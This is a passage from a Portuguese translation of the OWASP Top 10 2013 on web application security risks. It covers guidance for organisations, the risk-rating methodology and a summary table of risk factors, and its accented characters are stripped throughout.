responde de maneira segura aos testes. Essas ferramentas so particularmente eficazes em ajudar a identificar falhas de XSS , Autenticao e Controle de Acesso. ZAP tem at um scanner ativo embutido e, melhor ainda, GRTIS!
+O
Prximos Passos para Organizaes
Comece Agora seu Programa de Segurana de Aplicaes

Segurana de Aplicaes no mais opcional. Ataques cada vez mais frequentes e presso para seguir a regulamentao exigem que as organizaes estabeleam um programa efetivo de segurana das aplicaes. Dado o grande nmero de aplicaes e linhas de cdigo que j esto em produo, muitas organizaes esto tendo dificuldades em controlar o nmero elevado de vulnerabilidades. OWASP recomenda que as organizaes estabeleam um programa de segurana de aplicaes para ganhar viso e melhorar a segurana dos seus portfolios de aplicaes. Obter segurana de aplicaes requer que vrias partes da organizao trabalhem juntas e de maneira eficiente, incluindo segurana e auditoria, desenvolvimento de software, gerncias e liderana executiva. necessrio que a segurana seja visvel, para que todos os envolvidos possam entender a postura da organizao em relao segurana de aplicaes. preciso tambm focalizar em atividades e resultados que realmente ajudem a melhorar a segurana da corporao atravs da reduo do risco com um bom custo/beneficio. Algumas das atividades chave de um programa eficaz para a segurana de aplicaes incluem:
Iniciando
Estabelecer um programa de segurana de aplicaes e estimular sua adoo. Conduzir uma anlise de diferenas de capacitao, comparando sua organizao com outras semelhantes, definindo reas chave para melhorias e um plano de execuo. Obter aprovao da liderana e estabelecer uma campanha de conscientizao em segurana de aplicaes para toda a organizao de TI.
Abordagem de Portfolio Baseada em Risco
Identificar e estabelecer prioridades no portfolio de aplicaes usando uma perspectiva de risco. Criar um modelo de avaliao de risco em aplicaes para medir e priorizar as aplicaes do portfolio. Estabelecer diretrizes de segurana com o fim de definir a cobertura e o nvel de rigor necessrios. Estabelecer um modelo comum de classificao de riscos aliado a um conjunto consistente de fatores de impacto e probabilidade que reflitam a tolerncia de risco da organizao.
Ativar com uma fundao slida
Estabelecer um conjunto de politicas e normas que sejam uma base para segurana de aplicaes a ser seguida por todas as equipes de desenvolvimento. Definir um conjunto comum de controles de segurana reutilizveis que complementem as polticas e normas, contendo orientaes de uso para as fases de projeto e desenvolvimento. Estabelecer um currculo de formao em segurana de aplicaes obrigatrio e direcionado s diversas funes de desenvolvimento e tpicos existentes.
Integrar Segurana aos Processos Existentes
Definir e integrar implementaes de segurana e atividades de verificao nos processos de desenvolvimento e operao existentes. As atividades incluem Modelagem de Ameaas, Projeto Seguro e Reviso, Codificao e Reviso de Cdigo com Segurana, Testes de Invaso, e Correo. Oferecer especialistas e servios de suporte para as equipes de desenvolvimento e projeto para obter xito nos processos.
Oferecer Visibilidade para a Gerncia
Gerenciar usando mtricas. Efetuar melhorias e decises de investimento baseadas nas mtricas e anlises dos dados capturados. Mtricas incluem aderncia s atividades e prticas seguras, vulnerabilidades introduzidas, vulnerabilidades mitigadas, abrangncia da aplicao, densidade de defeitos por contagem de tipo e instncia, etc. Analisar dados das atividades de implementao e verificao procurando por causas raiz e padres de vulnerabilidade com o fim de conduzir as melhorias estratgica e sistematicamente em toda a empresa.
+R
Notas Sobre Riscos
Isso Sobre Riscos, No Sobre Vulnerabilidades

Embora as verses do OWASP Top 10 de 2007 e anteriores, fossem focadas em identificar as "vulnerabilidades" mais comuns, o OWASP Top 10 sempre foi organizado em torno de riscos. Isto tem causado alguma confuso compreensvel por parte das pessoas em busca de uma taxonomia estanque de vulnerabilidades. O OWASP Top 10 de 2010, esclareceu o foco de risco no Top 10 por ser muito explcito sobre como agentes de ameaa, vetores de ataque, vulnerabilidades, impactos tcnicos e no negcio se combinavam para produzir riscos. Esta verso do OWASP Top 10 segue a mesma metodologia. A metodologia de Classificao de Risco para o Top 10 baseado no OWASP Risk Rating Methodology. Para cada item Top 10, estimouse o risco tpico que cada vulnerabilidade introduz em uma aplicao web tpica verificando fatores comuns de probabilidade e fatores de impacto para cada vulnerabilidade comum. Em seguida, classificamos de forma ordenada o Top 10 de acordo com as vulnerabilidades que normalmente apresentam o risco mais significativo para uma aplicao. A OWASP Risk Rating Methodology define inmeros fatores para ajudar a calcular o risco de uma vulnerabilidade identificada. No entanto, o Top 10 deve falar sobre generalidades, ao invs de vulnerabilidades especficas em aplicaes reais. Consequentemente, no podemos ser to exatos quanto os proprietrios do sistema podem ser quando calculam os riscos para sua aplicao. Voc est melhor equipado para julgar a importncia de suas aplicaes e dados, quais so seus agentes de ameaa, e como o sistema foi desenvolvido e est sendo operado. Nossa metodologia inclui trs fatores de probabilidade para cada vulnerabilidade (prevalncia, deteco e facilidade de explorao) e um fator de impacto (impacto tcnico). A prevalncia de uma vulnerabilidade um fator que normalmente voc no tem que calcular. Para os dados de prevalncia, foram fornecidas estatsticas a partir de um certo nmero de diferentes organizaes (como referenciado na seo Agradecimentos na pgina 3) e temos uma mdia de seus dados em conjunto para chegar a uma lista Top 10 da probabilidade de existncia por prevalncia. Estes dados foram ento combinados com os dois outros fatores de probabilidade (deteco e facilidade de explorao) para calcular uma classificao de probabilidade para cada vulnerabilidade. Este valor foi ento multiplicado pelo nosso impacto tcnico mdio estimado para cada item para chegar a uma classificao de risco global do Top 10. Observe que esta abordagem no leva em conta a probabilidade do agente de ameaa. Nem responde por qualquer um dos vrios detalhes tcnicos associados sua aplicao especfica. Qualquer um desses fatores poderia afetar significativamente a probabilidade global de um atacante encontrar e explorar uma vulnerabilidade particular. Esta classificao tambm no leva em conta o impacto real sobre o seu negcio. Sua organizao ter de decidir qual o grau de risco de segurana das aplicaes est disposta a aceitar dada a sua cultura, indstria e ambiente regulatrio. O objetivo do OWASP Top 10 no fazer a anlise de risco para voc. A figura seguinte ilustra o nosso clculo do risco para A3: Cross-Site Scripting, como um exemplo. XSS to comum que justifica o nico "muito difundido", valor 0 de prevalncia. Todos os outros riscos variaram de generalizada a rara (valor de 1 a 3).
Agentes de Ameaa
Explorao MDIA
Prevalncia
MUITO DIFUNDIDA
Deteco FCIL
Impacto MODERADO
Especfico do Negcio/ Aplicao
0 1
1 * 2
2 2
+F
Detalhes Sobre Fatores de Risco
Top 10 Sumrio de Fator de Risco

A tabela a seguir apresenta um resumo dos Top 10 2013 de Riscos de Segurana em Aplicaes e os fatores de risco que foram atribudos a cada risco. Esses fatores foram determinados com base nas estatsticas disponveis e na experincia da equipe OWASP Top 10. Para compreender esses riscos em uma aplicao ou organizao em particular, voc deve considerar seus prprios agentes de ameaa e impactos no negcio. Mesmo falhas flagrantes de software podem no representar um risco srio se no houver agentes de ameaa em uma posio de realizar o ataque necessrio, ou o impacto no negcio insignificante para os ativos envolvidos.
RISCO
A1-Injeo A2-Autenticao A3-XSS A4-Ref. Insegura A5-Conf. Incorreta A6-Exp. de Dados A7-Cont. Acesso A8-CSRF
Agentes de Ameaa Especfico Apl. Especfico Apl. Especfico Apl. Especfico Apl. Especfico Apl. Especfico Apl. Especfico Apl. Especfico Apl. Especfico Apl. Especfico Apl.
Vetores de Ataque
Vulnerabilidades de Segurana Prevalncia Deteco
Impactos Tcnicos Impacto
Impactos no Negcio
Explorao
FCIL MDIA MDIA FCIL FCIL DIFCIL FCIL MDIA
COMUM GENERALIZADA MUITO DIFUNDIDA COMUM COMUM RARA COMUM COMUM
MDIA MDIA FCIL FCIL FCIL MDIA MDIA FCIL
SEVERO SEVERO MODERADO MODERADO MODERADO SEVERO MODERADO MODERADO
Especfico Apl. Especfico Apl. Especfico Apl. Especfico Apl. Especfico Apl. Especfico Apl. Especfico Apl. Especfico Apl. Especfico Apl. Especfico Apl.
A9-Comp. Vulner.
A10-Redirecion.
MDIA
MDIA
GENERALIZADA
RARA
DIFCIL
FCIL
MODERADO
MODERADO
Riscos Adicionais a Considerar

O Top 10 cobre um terreno bem amplo, mas h muitos outros riscos que voc deve considerar e avaliar em sua organizao. Alguns destes estavam presentes nas verses anteriores do Top 10, e outros no, incluindo novas tcnicas de ataque que so identificadas a todo momento. Outros importantes riscos de segurana em aplicaes (em ordem alfabtica) que voc deve considerar incluem: Clickjacking Concurrency Flaws Denial of Service (Was 2004 Top 10 Entry 2004-A9) Expression Language Injection (CWE-917) Information Leakage and Improper Error Handling (Was part of 2007 Top 10 Entry 2007-A6) Insufficient Anti-automation (CWE-799) Insufficient Logging and Accountability (Related to 2007 Top 10 Entry 2007-A6) Lack of Intrusion Detection and Response Malicious File Execution (Was 2007 Top 10 Entry 2007-A3) Mass Assignment (CWE-915) User Privacy

OWASP Top 10 2013 PT-BR

Enviado por

Dados do documento

Título original

Direitos autorais

Formatos disponíveis

Compartilhar este documento

Compartilhar ou incorporar documento

Opções de compartilhamento

Você considera este documento útil?

Este conteúdo é inapropriado?

Direitos autorais:

Formatos disponíveis

OWASP Top 10 2013 PT-BR

Enviado por

Direitos autorais:

Formatos disponíveis

BR

O que mudou de 2010 para 2013?

OWASP Top 10 2010 (Anterior)

OWASP Top 10 2013 (Novo)

A2 Cross-Site Scripting (XSS)

A3 Cross-Site Scripting (XSS)

Riscos de Segurana em Aplicaes

O que so Riscos de Segurana em Aplicaes?

Qual o Meu Risco?

OWASP Top 10 Riscos de Segurana em Aplicaes 2013

A2 Quebra de Autenticao e Gerenciamento de Sesso

A4 Referncia Insegura e Direta a Objetos A5 Configurao Incorreta de Segurana

Especfico do Negcio / Aplicao

Como fao para evitar?

Exemplos de Cenrios de Ataque

OWASP Command Injection Article

Quebra de Autenticao e Gerenciamento de Sesso

Especfico do Negcio / Aplicao

Como fao para evitar?

Exemplos de Cenrios de Ataque

Cross-Site Scripting (XSS)

Prevalncia MUITO DIFUNDIDA

Especfico do Negcio / Aplicao

Como fao para evitar?

Exemplo de Cenrio de Ataque

Testing Guide: 1st 3 Chapters on Data Validation Testing

Referncia Insegura e Direta a Objetos

Especfico do Negcio / Aplicao

Como fao para evitar?

Exemplo de Cenrio de Ataque

Configurao Incorreta de Segurana

Especfico do Negcio / Aplicao

Como fao para evitar?

Exemplos de Cenrios de Ataque

Exposio de Dados Sensveis

Especfico do Negcio / Aplicao

Como fao para evitar?

Exemplos de Cenrios de Ataque

Falta de Funo para Controle do Nvel de Acesso

Especfico do Negcio / Aplicao

Como fao para evitar?

Exemplos de Cenrios de Ataque

ESAPI Access Control API

Cross-Site Request Forgery (CSRF)

Especfico do Negcio / Aplicao

Como fao para evitar?

Exemplo de Cenrio de Ataque

Utilizao de Componentes Vulnerveis Conhecidos

Especfico do Negcio / Aplicao

Como fao para evitar?

Exemplo de Cenrios de Ataque

MITRE Common Vulnerabilities and Exposures

Redirecionamentos e Encaminhamentos Invlidos

Especfico do Negcio / Aplicao

Como fao para evitar?

Exemplos de Cenrios de Ataque

Prximos Passos para Desenvolvedores

Estabelecer e Usar Processos de Segurana Consistentes e Controles de Segurana Padronizados

Requisitos de Segurana de Aplicaes

Arquitetura de Segurana de Aplicaes

Controles de Segurana Padronizados

Segurana do Ciclo de Vida do Desenvolvimento

Educao em Segurana de Aplicaes